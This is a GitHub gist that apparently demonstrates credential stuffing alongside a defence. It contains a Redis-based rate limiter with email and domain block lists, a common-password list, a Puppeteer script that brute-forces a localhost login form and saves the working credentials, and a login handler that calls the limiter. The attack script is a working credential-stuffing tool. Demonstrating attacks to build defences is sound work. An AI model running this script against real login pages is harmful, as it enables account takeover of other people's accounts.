Skip to content

Instantly share code, notes, and snippets.

@zrosenbauer
Created August 13, 2019 14:55
Show Gist options
  • Save zrosenbauer/1c60826f99d5fb8a5a3f1c87de97d42f to your computer and use it in GitHub Desktop.
Save zrosenbauer/1c60826f99d5fb8a5a3f1c87de97d42f to your computer and use it in GitHub Desktop.
Credential Stuffing Complete
'use strict';
const Redis = require('ioredis');
const redis = new Redis('cache:6379');
const blockList = [
'[email protected]'
];
const badEmailDomains = [
'hacker.com'
];
const badEmailHandles = [
'iamahacker'
];
const MINUTES_15 = 60 * 15;
async function assertSafe ({ email, ipAddress }) {
const [handle, domain] = email.split('@');
if (blockList.includes(email)) {
throw new Error('ATOStopper: Blocked email');
}
if (badEmailHandles.includes(handle)) {
throw new Error('ATOStopper: Blocked email handle');
}
if (badEmailDomains.includes(domain)) {
throw new Error('ATOStopper: Blocked email domain');
}
const [ipResult] = await redis
.pipeline()
.incr(`ipAddress:${ipAddress}`)
.expire(`ipAddress:${ipAddress}`, MINUTES_15)
.get(`ipAddress:${ipAddress}`)
.exec();
const [, ipAddressCount] = ipResult;
if (ipAddressCount > 20) {
throw new Error('ATOStopper: IP Address Velocity Exceeded');
}
const [emailResult] = await redis
.pipeline()
.incr(`email:${email}`)
.expire(`email:${email}`, MINUTES_15)
.get(`email:${email}`)
.exec();
const [, emailCount] = emailResult;
if (emailCount > 7) {
throw new Error('ATOStopper: Email Velocity Exceeded');
}
}
module.exports = {
assertSafe
};
[
"12345678",
"123456",
"123456789",
"admin",
"qwerty",
"password",
"111111",
"abc123",
"1234567",
"password1",
"12345"
]
/* eslint-disable */
const fs = require('fs');
const util = require('util');
const path = require('path');
const puppeteer = require('puppeteer');
const writeFile = util.promisify(fs.writeFile);
const userList = require('./user_list.json');
const badPasswords = require('./bad_passwords.json');
const results = {
success: [],
failure: 0
};
const LOGIN_URL = 'http://localhost:8080/login';
async function testLogin (email, password) {
try {
console.log(`Testing Password: ${password}`);
const browser = await puppeteer.launch();
const page = await browser.newPage();
// Navigate to the login page
console.log('Navigating to login...');
await page.goto('http://localhost:8080/login');
// Handle filling out the form & submitting
console.log('Filling out form...');
await page.type('#email', email);
await page.type('#password', password);
console.log('Submitting...');
await page.click('[type="submit"]');
// Validate success
await page.waitFor(1000);
if (page.url() === LOGIN_URL) {
throw new Error('Failed to login');
}
results.success.push({
email,
password
});
console.log('Succeed!\n\n');
await browser.close();
} catch (err) {
console.error(err);
console.log('Failed :(\n\n');
results.failure++;
}
}
(async () => {
for (const email of userList) {
// loop through bad passwords for each email
for (const password of badPasswords) {
console.log(`Testing Email: ${email}`);
await testLogin(email, password);
}
}
console.log(`Success: ${results.success.length}`);
console.log(`Failed: ${results.failure}`);
await writeFile(path.join(__dirname, 'results.json'), JSON.stringify(results.success));
})();
// other stuff above
/**
* POST /login
* Sign in using email and password.
*/
exports.postLogin = (req, res, next) => {
ATOStopper.assertSafe({
email: req.body.email,
ipAddress: req.headers['x-forwarded-for'] || req.connection.remoteAddress
}).then(() => {
const validationErrors = [];
if (!validator.isEmail(req.body.email)) validationErrors.push({ msg: 'Please enter a valid email address.' });
if (validator.isEmpty(req.body.password)) validationErrors.push({ msg: 'Password cannot be blank.' });
if (validationErrors.length) {
req.flash('errors', validationErrors);
return res.redirect('/login');
}
req.body.email = validator.normalizeEmail(req.body.email, { gmail_remove_dots: false });
passport.authenticate('local', (err, user, info) => {
if (err) { return next(err); }
if (!user) {
req.flash('errors', info);
return res.redirect('/login');
}
req.logIn(user, (err) => {
if (err) { return next(err); }
req.flash('success', { msg: 'Success! You are logged in.' });
res.redirect(req.session.returnTo || '/');
});
})(req, res, next);
}).catch((err) => {
console.error(err);
req.flash('errors', [{ msg: 'Invalid email or password.' }]);
return res.redirect('/login');
});
};
// other stuff below
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment